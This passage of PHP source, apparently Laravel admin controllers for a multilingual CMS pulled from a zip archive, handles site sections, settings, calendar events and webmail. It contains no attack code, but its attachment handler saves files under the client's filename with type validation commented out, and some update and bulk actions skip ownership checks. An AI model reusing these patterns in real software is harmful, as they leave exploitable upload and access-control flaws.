= $request->seo_title_en; $WebmasterSection->seo_description_ar = $request->seo_description_ar; $WebmasterSection->seo_description_he = $request->seo_description_he; $WebmasterSection->seo_description_en = $request->seo_description_en; $WebmasterSection->seo_keywords_ar = $request->seo_keywords_ar; $WebmasterSection->seo_keywords_he = $request->seo_keywords_he; $WebmasterSection->seo_keywords_en = $request->seo_keywords_en; $WebmasterSection->updated_by = Auth::user()->id; //URL Slugs $slugs = Helper::URLSlug($request->seo_url_slug_ar,$request->seo_url_slug_he, $request->seo_url_slug_en, "section", $id); $WebmasterSection->seo_url_slug_ar = $slugs['slug_ar']; $WebmasterSection->seo_url_slug_he = $slugs['slug_he']; $WebmasterSection->seo_url_slug_en = $slugs['slug_en']; $WebmasterSection->save(); return redirect()->action('WebmasterSectionsController@edit', $id)->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'seo'); } else { return redirect()->action('SectionsController@index'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // if (@Auth::user()->permissionsGroup->view_status) { $WebmasterSection = WebmasterSection::where('created_by', '=', Auth::user()->id)->find($id); } else { $WebmasterSection = WebmasterSection::find($id); } if (!empty($WebmasterSection) ) { //delete additional fields WebmasterSectionField::where('webmaster_id', $WebmasterSection->id)->delete(); //delete section $WebmasterSection->delete(); return redirect()->action('WebmasterSectionsController@index')->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('WebmasterSectionsController@index'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[] * @return \Illuminate\Http\Response */ public function updateAll(Request $request) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $WebmasterSection = WebmasterSection::find($rowId); if (!empty($WebmasterSection) ) { $row_no_val = "row_no_" . $rowId; $WebmasterSection->row_no = $request->$row_no_val; $WebmasterSection->save(); } } } elseif ($request->action == "activate") { WebmasterSection::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { WebmasterSection::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { //delete additional fields WebmasterSectionField::wherein('webmaster_id', $request->ids)->delete(); //delete section WebmasterSection::wherein('id', $request->ids) ->delete(); } return redirect()->action('WebmasterSectionsController@index')->with('doneMessage', trans('backLang.saveDone')); } // Fields Functions /** * Show all Fields. * * @param int $webmasterId * @return \Illuminate\Http\Response */ public function webmasterFields($webmasterId) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection)) { return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('activeTab', 'fields'); } else { return redirect()->route('NotFound'); } } /** * Show the form for creating a new resource. * * @param int $webmasterId * @return \Illuminate\Http\Response */ public function fieldsCreate($webmasterId) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('activeTab', 'fields')->with('fieldST', 'create'); } else { return redirect()->route('NotFound'); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @return \Illuminate\Http\Response */ public function fieldsStore(Request $request, $webmasterId) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $this->validate($request, [ 'type' => 'required' ]); $next_nor_no = WebmasterSectionField::where('webmaster_id', '=', $webmasterId)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $WebmasterSectionField = new WebmasterSectionField; $WebmasterSectionField->webmaster_id = $webmasterId; $WebmasterSectionField->row_no = $next_nor_no; $WebmasterSectionField->title_ar = $request->title_ar; $WebmasterSectionField->title_he = $request->title_he; $WebmasterSectionField->title_en = $request->title_en; $WebmasterSectionField->default_value = $request->default_value; $WebmasterSectionField->details_ar = $request->details_ar; $WebmasterSectionField->details_he = $request->details_he; $WebmasterSectionField->details_en = $request->details_en; $WebmasterSectionField->lang_code = $request->lang_code; $WebmasterSectionField->type = $request->type; $WebmasterSectionField->required = $request->required; $WebmasterSectionField->status = 1; $WebmasterSectionField->created_by = Auth::user()->id; $WebmasterSectionField->save(); return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'fields'); } else { return redirect()->route('NotFound'); } } /** * Show the form for editing the specified resource. * * @param int $webmasterId * @param int $field_id * @return \Illuminate\Http\Response */ public function fieldsEdit($webmasterId, $field_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { $WebmasterSectionField = WebmasterSectionField::find($field_id); if (!empty($WebmasterSectionField)) { return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('activeTab', 'fields')->with('fieldST', 'edit')->with('WebmasterSectionField', $WebmasterSectionField); } else { return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('activeTab', 'fields'); } } else { return redirect()->route('NotFound'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @param int $file_id * @return \Illuminate\Http\Response */ public function fieldsUpdate(Request $request, $webmasterId, $file_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $WebmasterSectionField = WebmasterSectionField::find($file_id); if (!empty($WebmasterSectionField)) { $WebmasterSectionField->title_ar = $request->title_ar; $WebmasterSectionField->title_he = $request->title_he; $WebmasterSectionField->title_en = $request->title_en; $WebmasterSectionField->default_value = $request->default_value; $WebmasterSectionField->details_ar = $request->details_ar; $WebmasterSectionField->details_he = $request->details_he; $WebmasterSectionField->details_en = $request->details_en; $WebmasterSectionField->lang_code = $request->lang_code; $WebmasterSectionField->type = $request->type; $WebmasterSectionField->required = $request->required; $WebmasterSectionField->status = $request->status; $WebmasterSectionField->updated_by = Auth::user()->id; $WebmasterSectionField->save(); return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'fields'); } else { return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('activeTab', 'fields'); } } else { return redirect()->route('NotFound'); } } /** * Remove the specified resource from storage. * * @param int $webmasterId * @param int $file_id * @return \Illuminate\Http\Response */ public function fieldsDestroy($webmasterId, $file_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { $WebmasterSectionField = WebmasterSectionField::find($file_id); if (!empty($WebmasterSectionField)) { $WebmasterSectionField->delete(); return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('doneMessage', trans('backLang.deleteDone'))->with('activeTab', 'fields'); } else { return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('activeTab', 'fields'); } } else { return redirect()->route('NotFound'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[],$webmasterId * @return \Illuminate\Http\Response */ public function fieldsUpdateAll(Request $request, $webmasterId) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $WebmasterSectionField = WebmasterSectionField::find($rowId); if (!empty($WebmasterSectionField)) { $row_no_val = "row_no_" . $rowId; $WebmasterSectionField->row_no = $request->$row_no_val; $WebmasterSectionField->save(); } } } elseif ($request->action == "activate") { WebmasterSectionField::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { WebmasterSectionField::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { WebmasterSectionField::wherein('id', $request->ids) ->delete(); } return redirect()->action('WebmasterSectionsController@edit', [$webmasterId])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'fields'); } else { return redirect()->route('NotFound'); } } } PKVZD0Http/Controllers/WebmasterSettingsController.phpnu[middleware('auth'); // Check Permissions if (@Auth::user()->permissions != 0) { return Redirect::to(route('NoPermission'))->send(); } } public function edit() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END $ParentMenus = Menu::where('father_id', '0')->orderby('row_no', 'asc')->get(); $WebmasterBanners = WebmasterBanner::orderby('row_no', 'asc')->get(); $ContactsGroups = ContactsGroup::orderby('id', 'asc')->get(); $PermissionsGroups = Permissions::orderby('id', 'asc')->get(); $SitePages = Topic::where('webmaster_id', 1)->orderby('row_no', 'asc')->get(); $id = $this->getId(); $WebmasterSetting = WebmasterSetting::find($id); if (!empty($WebmasterSetting)) { return view("backEnd.webmaster.settings", compact("WebmasterSetting", "GeneralWebmasterSections","ParentMenus","WebmasterBanners","ContactsGroups","SitePages","PermissionsGroups")); } else { return redirect()->route('adminHome'); } } public function getId() { return $this->id; } public function setId($id) { $this->id = $id; } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id = 1 for default settings * @return \Illuminate\Http\Response */ public function update(Request $request) { // $id = $this->getId(); $WebmasterSetting = WebmasterSetting::find($id); if (!empty($WebmasterSetting)) { $WebmasterSetting->ar_box_status = $request->ar_box_status; $WebmasterSetting->he_box_status = $request->he_box_status; $WebmasterSetting->en_box_status = $request->en_box_status; $WebmasterSetting->seo_status = $request->seo_status; $WebmasterSetting->analytics_status = $request->analytics_status; $WebmasterSetting->banners_status = $request->banners_status; $WebmasterSetting->inbox_status = $request->inbox_status; $WebmasterSetting->calendar_status = $request->calendar_status; $WebmasterSetting->settings_status = $request->settings_status; $WebmasterSetting->newsletter_status = $request->newsletter_status; $WebmasterSetting->members_status = 0; //$request->orders_status; $WebmasterSetting->orders_status = 0; //$request->orders_status; $WebmasterSetting->shop_status = 0; //$request->shop_status; $WebmasterSetting->shop_settings_status = 0; //$request->shop_settings_status; $WebmasterSetting->default_currency_id = 0; //$request->default_currency_id; $WebmasterSetting->languages_count = $request->languages_count; $WebmasterSetting->header_menu_id = $request->header_menu_id; $WebmasterSetting->footer_menu_id = $request->footer_menu_id; $WebmasterSetting->home_banners_section_id = $request->home_banners_section_id; $WebmasterSetting->home_text_banners_section_id = $request->home_text_banners_section_id; $WebmasterSetting->side_banners_section_id = $request->side_banners_section_id; $WebmasterSetting->contact_page_id = $request->contact_page_id; $WebmasterSetting->newsletter_contacts_group = $request->newsletter_contacts_group; $WebmasterSetting->new_comments_status = $request->new_comments_status; $WebmasterSetting->links_status = $request->links_status; $WebmasterSetting->register_status = $request->register_status; $WebmasterSetting->permission_group = $request->permission_group; $WebmasterSetting->api_status = $request->api_status; $WebmasterSetting->api_key = $request->api_key; $WebmasterSetting->home_content1_section_id = $request->home_content1_section_id; $WebmasterSetting->home_content2_section_id = $request->home_content2_section_id; $WebmasterSetting->home_content3_section_id = $request->home_content3_section_id; $WebmasterSetting->latest_news_section_id = $request->latest_news_section_id; $WebmasterSetting->updated_by = Auth::user()->id; $WebmasterSetting->save(); return redirect()->action('WebmasterSettingsController@edit')->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->route('adminHome'); } } }PKVZ4iiHttp/Controllers/Controller.phpnu[middleware('auth'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of Events if (@Auth::user()->permissionsGroup->view_status) { $Events = Event::where('created_by', '=', Auth::user()->id)->orderby('start_date', 'asc')->get(); } else { $Events = Event::orderby('start_date', 'asc')->get(); } $DefaultDate = date('Y-m-d'); $EStatus = ""; return view("backEnd.calendar", compact("GeneralWebmasterSections", "Events", "DefaultDate", "EStatus")); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function create() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of Events if (@Auth::user()->permissionsGroup->view_status) { $Events = Event::where('created_by', '=', Auth::user()->id)->orderby('start_date', 'asc')->get(); } else { $Events = Event::orderby('start_date', 'asc')->get(); } $DefaultDate = date('Y-m-d'); $EStatus = "new"; return view("backEnd.calendar", compact("GeneralWebmasterSections", "Events", "DefaultDate", "EStatus")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // $this->validate($request, [ 'type' => 'required', 'title' => 'required' ]); $Event = new Event; $Event->user_id = Auth::user()->id; $Event->created_by = Auth::user()->id; $Event->type = $request->type; $Event->title = $request->title; $Event->details = $request->details; if ($request->type == 3) { // Task $Event->start_date = date('Y-m-d', strtotime($request->date_start)); $Event->end_date = date('Y-m-d', strtotime($request->date_end)); } elseif ($request->type == 2) { // Event $Event->start_date = date('Y-m-d H:i:s', strtotime($request->time_start)); $Event->end_date = date('Y-m-d H:i:s', strtotime($request->time_end)); } elseif ($request->type == 1) { // Meeting $Event->start_date = date('Y-m-d H:i:s', strtotime($request->date_at)); $Event->end_date = date('Y-m-d H:i:s', strtotime($request->date_at)); } else { // Note $Event->start_date = date('Y-m-d', strtotime($request->date)); $Event->end_date = date('Y-m-d', strtotime($request->date)); } $Event->save(); return redirect()->action('EventsController@index')->with('doneMessage', trans('backLang.addDone')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of Events if (@Auth::user()->permissionsGroup->view_status) { $Events = Event::where('created_by', '=', Auth::user()->id)->orderby('start_date', 'asc')->get(); $EditEvent = Event::where('created_by', '=', Auth::user()->id)->find($id); } else { $Events = Event::orderby('start_date', 'asc')->get(); $EditEvent = Event::find($id); } if (count($EditEvent) > 0) { $DefaultDate = date('Y-m-d', strtotime($EditEvent->start_date)); $EStatus = "edit"; return view("backEnd.calendar", compact("GeneralWebmasterSections", "Events", "EditEvent", "DefaultDate", "EStatus")); } else { return redirect()->action('EventsController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // $Event = Event::find($id); if (count($Event) > 0) { $this->validate($request, [ 'type' => 'required', 'title' => 'required' ]); $Event->type = $request->type; $Event->title = $request->title; $Event->details = $request->details; if ($request->type == 3) { // Task $Event->start_date = date('Y-m-d', strtotime($request->date_start)); $Event->end_date = date('Y-m-d', strtotime($request->date_end)); } elseif ($request->type == 2) { // Event $Event->start_date = date('Y-m-d H:i:s', strtotime($request->time_start)); $Event->end_date = date('Y-m-d H:i:s', strtotime($request->time_end)); } elseif ($request->type == 1) { // Meeting $Event->start_date = date('Y-m-d H:i:s', strtotime($request->date_at)); $Event->end_date = date('Y-m-d H:i:s', strtotime($request->date_at)); } else { // Note $Event->start_date = date('Y-m-d', strtotime($request->date)); $Event->end_date = date('Y-m-d', strtotime($request->date)); } $Event->updated_by = Auth::user()->id; $Event->save(); return redirect()->action('EventsController@index', $id)->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->action('EventsController@index'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // if (@Auth::user()->permissionsGroup->view_status) { $Event = Event::where('created_by', '=', Auth::user()->id)->find($id); } else { $Event = Event::find($id); } if (count($Event) > 0) { $Event->delete(); return redirect()->action('EventsController@index')->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('EventsController@index'); } } /** * Update all resources in storage. * * @return \Illuminate\Http\Response */ public function updateAll() { // Event::where('user_id', "=", Auth::user()->id)->delete(); return redirect()->action('EventsController@index')->with('doneMessage', trans('backLang.saveDone')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function extend(Request $request, $id) { // $Event = Event::find($id); if (count($Event) > 0) { if ($request->started_on != "") { $Event->start_date = date('Y-m-d H:i:s', strtotime($request->started_on)); } if ($request->ended_on != "") { $Event->end_date = date('Y-m-d', strtotime($request->ended_on)); } $Event->updated_by = Auth::user()->id; $Event->save(); } } } PKVZg_g_'Http/Controllers/WebmailsController.phpnu[middleware('auth'); // Check Permissions if (!@Auth::user()->permissionsGroup->inbox_status) { return Redirect::to(route('NoPermission'))->send(); } } /** * Display a listing of the resource. * int $group_id * int $wid * int $contact_email * string $stat * @return \Illuminate\Http\Response */ public function index($group_id = null, $wid = null, $stat = null, $contact_email = null) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of groups if (@Auth::user()->permissionsGroup->view_status) { $WebmailsGroups = WebmailsGroup::where('created_by', '=', Auth::user()->id)->orderby('id', 'asc')->get(); if ($group_id > 0) { //List of group Webmails $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->where('group_id', '=', $group_id) ->where('cat_id', '=', 0) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "create") { //if replay or forward if ($wid > 0) { $WebmailToreply = Webmail::where('created_by', '=', Auth::user()->id)->find($wid); if (count($WebmailToreply) > 0) { $WebmailToreply = $WebmailToreply; } else { $WebmailToreply = ""; } } else { $WebmailToreply = ""; } } elseif ($group_id == "sent") { //List of Sent $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->where('cat_id', '=', 1) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "draft") { //List of draft $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->where('cat_id', '=', 2) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "wait") { //List Unread Webmails $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->where('status', '=', '0') ->where('cat_id', '=', 0) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "blocked") { //List readed Webmails $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->where('status', '=', '1') ->where('cat_id', '=', 0) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { //List of all Webmails $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->orderby('id', 'desc') ->where('cat_id', '=', 0) ->paginate(env('BACKEND_PAGINATION')); } } else { $WebmailsGroups = WebmailsGroup::orderby('id', 'asc')->get(); if ($group_id > 0) { //List of group Webmails $Webmails = Webmail::where('group_id', '=', $group_id) ->where('cat_id', '=', 0) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "create") { //if replay or forward if ($wid > 0) { $WebmailToreply = Webmail::find($wid); if (count($WebmailToreply) > 0) { $WebmailToreply = $WebmailToreply; } else { $WebmailToreply = ""; } } else { $WebmailToreply = ""; } } elseif ($group_id == "sent") { //List of Sent $Webmails = Webmail::where('cat_id', '=', 1) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "draft") { //List of draft $Webmails = Webmail::where('cat_id', '=', 2) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "wait") { //List Unread Webmails $Webmails = Webmail::where('status', '=', '0') ->where('cat_id', '=', 0) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "blocked") { //List readed Webmails $Webmails = Webmail::where('status', '=', '1') ->where('cat_id', '=', 0) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { //List of all Webmails $Webmails = Webmail::orderby('id', 'desc') ->where('cat_id', '=', 0) ->paginate(env('BACKEND_PAGINATION')); } } if (@Auth::user()->permissionsGroup->view_status) { //Count of unread $WaitWebmailsCount = Webmail::where('created_by', '=', Auth::user()->id)->where('status', '=', '0')->count(); //Count of draft $DraftWebmailsCount = Webmail::where('created_by', '=', Auth::user()->id)->where('cat_id', '=', '2')->count(); //Count of All Webmails $AllWebmailsCount = Webmail::where('created_by', '=', Auth::user()->id)->count(); } else { //Count of unread $WaitWebmailsCount = Webmail::where('status', '=', '0')->count(); //Count of draft $DraftWebmailsCount = Webmail::where('cat_id', '=', '2')->count(); //Count of All Webmails $AllWebmailsCount = Webmail::count(); } // Site Settings $SiteSetting = Setting::find(1); $search_word = ""; return view("backEnd.webmails", compact("Webmails", "GeneralWebmasterSections", "WebmailsGroups", "WaitWebmailsCount", "DraftWebmailsCount", "AllWebmailsCount", "group_id", "WebmailToreply", "stat", "search_word", "SiteSetting", "contact_email")); } /** * Search resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function search(Request $request) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of groups if (@Auth::user()->permissionsGroup->view_status) { $WebmailsGroups = WebmailsGroup::where('created_by', '=', Auth::user()->id)->orderby('id', 'asc')->get(); if ($request->q != "") { //find Webmails $Webmails = Webmail::where('created_by', '=', Auth::user()->id)->where('title', 'like', '%' . $request->q . '%') ->orwhere('details', 'like', '%' . $request->q . '%') ->orwhere('from_name', 'like', '%' . $request->q . '%') ->orwhere('from_email', 'like', '%' . $request->q . '%') ->orwhere('from_phone', 'like', '%' . $request->q . '%') ->orwhere('to_email', 'like', '%' . $request->q . '%') ->orwhere('to_name', 'like', '%' . $request->q . '%') ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { return redirect()->action('WebmailsController@index'); } //Count of unread $WaitWebmailsCount = Webmail::where('created_by', '=', Auth::user()->id)->where('status', '=', '0')->count(); //Count of draft $DraftWebmailsCount = Webmail::where('created_by', '=', Auth::user()->id)->where('status', '=', '2')->count(); //Count of All Webmails $AllWebmailsCount = Webmail::where('created_by', '=', Auth::user()->id)->count(); } else { $WebmailsGroups = WebmailsGroup::orderby('id', 'asc')->get(); if ($request->q != "") { //find Webmails $Webmails = Webmail::where('title', 'like', '%' . $request->q . '%') ->orwhere('details', 'like', '%' . $request->q . '%') ->orwhere('from_name', 'like', '%' . $request->q . '%') ->orwhere('from_email', 'like', '%' . $request->q . '%') ->orwhere('from_phone', 'like', '%' . $request->q . '%') ->orwhere('to_email', 'like', '%' . $request->q . '%') ->orwhere('to_name', 'like', '%' . $request->q . '%') ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { return redirect()->action('WebmailsController@index'); } //Count of unread $WaitWebmailsCount = Webmail::where('status', '=', '0')->count(); //Count of draft $DraftWebmailsCount = Webmail::where('status', '=', '2')->count(); //Count of All Webmails $AllWebmailsCount = Webmail::count(); } $group_id = ""; $search_word = $request->q; return view("backEnd.webmails", compact("Webmails", "GeneralWebmasterSections", "WebmailsGroups", "WaitWebmailsCount", "DraftWebmailsCount", "AllWebmailsCount", "group_id", "search_word")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function storeGroup(Request $request) { // $str_color_ary = array( "# 00bcd4", "#f44336", "#8bc34a", "#9c27b0", "#2196f3", "#4caf50", "#cddc39", "#e91e63", "#673ab7", "#009688", "#3f51b5" ); $WebmailsGroupCount = WebmailsGroup::orderby('id', 'desc')->count(); $WebmailsGroup = WebmailsGroup::orderby('id', 'desc')->first(); if ($WebmailsGroupCount > 0) { $ary_key = array_search($WebmailsGroup->color, $str_color_ary); $ary_key++; if ($ary_key > 10) { $ary_key = 0; } $str_color = $str_color_ary[$ary_key]; } else { $str_color = $str_color_ary[0]; } $WebmailsGroup = new WebmailsGroup; $WebmailsGroup->name = $request->name; $WebmailsGroup->color = $str_color; $WebmailsGroup->created_by = Auth::user()->id; $WebmailsGroup->save(); return redirect()->action('WebmailsController@index'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // $Webmail = new Webmail; if ($request->btn_clicked == "draft") { $Webmail->cat_id = 2; } else { $Webmail->cat_id = 1; } $Webmail->group_id = null; $Webmail->contact_id = $request->contact_id; $Webmail->father_id = $request->father_id; $Webmail->title = $request->title; $Webmail->details = $request->details; $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->from_email; $Webmail->from_name = $request->from_name; $Webmail->from_phone = $request->from_phone; $Webmail->to_email = $request->to_email; $Webmail->to_name = $request->to_name; $Webmail->to_cc = $request->to_cc; $Webmail->to_bcc = $request->to_bcc; $Webmail->status = 1; $Webmail->flag = 0; $Webmail->created_by = Auth::user()->id; $Webmail->save(); if ($request->btn_clicked != "draft") { // getting all of the post data $files = $request->file('attach_files'); // Making counting of uploaded images $file_count = count($files); if ($file_count > 0) { // start count how many uploaded $uploadcount = 0; if ($file_count > 0) { foreach ($files as $file) { $rules = array('file' => 'required'); //'required|mimes:png,gif,jpeg,txt,pdf,doc' $validator = Validator::make(array('file' => $file), $rules); if ($validator->passes()) { $path = $this->getUploadPath(); $filename = $file->getClientOriginalName(); $upload_success = $file->move($path, $filename); $uploadcount++; // save in DB $WebmailsFile = new WebmailsFile; $WebmailsFile->webmail_id = $Webmail->id; $WebmailsFile->file = $filename; $WebmailsFile->save(); } } } } } if ($request->btn_clicked != "draft") { // SEND THIS EMAIL if (env('MAIL_USERNAME') != "") { $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); Mail::send('backEnd.emails.webmail', [ 'title' => $request->title, 'details' => $request->details, 'websiteURL' => $WebsiteSettings->site_url, 'websiteName' => $WebsiteSettings->$site_title_var ], function ($message) use ($request) { $message->from($request->from_email, $request->from_name); $message->to($request->to_email); if ($request->to_cc != "") { $message->cc($request->to_cc); } if ($request->to_bcc != "") { $message->bcc($request->to_cc); } $message->replyTo($request->from_email, $request->from_name); $message->subject($request->title); }); } } return redirect()->action('WebmailsController@index'); } public function getUploadPath() { return $this->uploadPath; } public function setUploadPath($uploadPath) { $this->uploadPath = Config::get('app.APP_URL') . $uploadPath; } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // $WebmailToEdit = Webmail::find($id); if (count($WebmailToEdit) > 0) { $WebmailToEdit->status = 1; $WebmailToEdit->save(); return redirect()->action('WebmailsController@index', $WebmailToEdit->group_id)->with('WebmailToEdit', $WebmailToEdit); } else { return redirect()->action('WebmailsController@index'); } } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function editGroup($id) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $EditWebmailsGroup = WebmailsGroup::where('created_by', '=', Auth::user()->id)->find($id); } else { $EditWebmailsGroup = WebmailsGroup::find($id); } if (count($EditWebmailsGroup) > 0) { return redirect()->action('WebmailsController@index')->with('EditWebmailsGroup', $EditWebmailsGroup); } else { return redirect()->action('WebmailsController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // $Webmail = Webmail::find($id); if (count($Webmail) > 0) { if ($request->btn_clicked == "draft") { $Webmail->cat_id = 2; } else { $Webmail->cat_id = 1; } $Webmail->contact_id = $request->contact_id; $Webmail->father_id = $request->father_id; $Webmail->title = $request->title; $Webmail->details = $request->details; $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->from_email; $Webmail->from_name = $request->from_name; $Webmail->from_phone = $request->from_phone; $Webmail->to_email = $request->to_email; $Webmail->to_name = $request->to_name; $Webmail->to_cc = $request->to_cc; $Webmail->to_bcc = $request->to_bcc; $Webmail->updated_by = Auth::user()->id; $Webmail->save(); if ($request->btn_clicked != "draft") { // getting all of the post data $files = $request->file('attach_files'); // Making counting of uploaded images $file_count = count($files); if ($file_count > 0) { // start count how many uploaded $uploadcount = 0; foreach ($files as $file) { $rules = array('file' => 'required'); //'required|mimes:png,gif,jpeg,txt,pdf,doc' $validator = Validator::make(array('file' => $file), $rules); if ($validator->passes()) { $path = $this->getUploadPath(); $filename = $file->getClientOriginalName(); $upload_success = $file->move($path, $filename); $uploadcount++; // save in DB $WebmailsFile = new WebmailsFile; $WebmailsFile->webmail_id = $Webmail->id; $WebmailsFile->file = $filename; $WebmailsFile->save(); } } } } if ($request->btn_clicked != "draft") { // SEND THIS EMAIL if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => $request->title, 'details' => $request->details, 'websiteURL' => 'url', 'websiteName' => 'site name' ], function ($message) use ($request) { $message->from($request->from_email, $request->from_name); $message->to($request->to_email); if ($request->to_cc != "") { $message->cc($request->to_cc); } if ($request->to_bcc != "") { $message->bcc($request->to_cc); } $message->replyTo($request->from_email, $request->from_name); $message->subject($request->title); }); } } return redirect()->action('WebmailsController@index'); } else { return redirect()->action('WebmailsController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function updateGroup(Request $request, $id) { // $WebmailsGroup = WebmailsGroup::find($id); if (count($WebmailsGroup) > 0) { $WebmailsGroup->name = $request->name; $WebmailsGroup->updated_by = Auth::user()->id; $WebmailsGroup->save(); } return redirect()->action('WebmailsController@index'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // if (@Auth::user()->permissionsGroup->view_status) { $Webmail = Webmail::where('created_by', '=', Auth::user()->id)->find($id); } else { $Webmail = Webmail::find($id); } if (count($Webmail) > 0) { $Webmail->delete(); } return redirect()->action('WebmailsController@index'); } public function destroyGroup($id) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // if (@Auth::user()->permissionsGroup->view_status) { $WebmailsGroup = WebmailsGroup::where('created_by', '=', Auth::user()->id)->find($id); } else { $WebmailsGroup = WebmailsGroup::find($id); } if (count($WebmailsGroup) > 0) { $WebmailsGroup->delete(); return 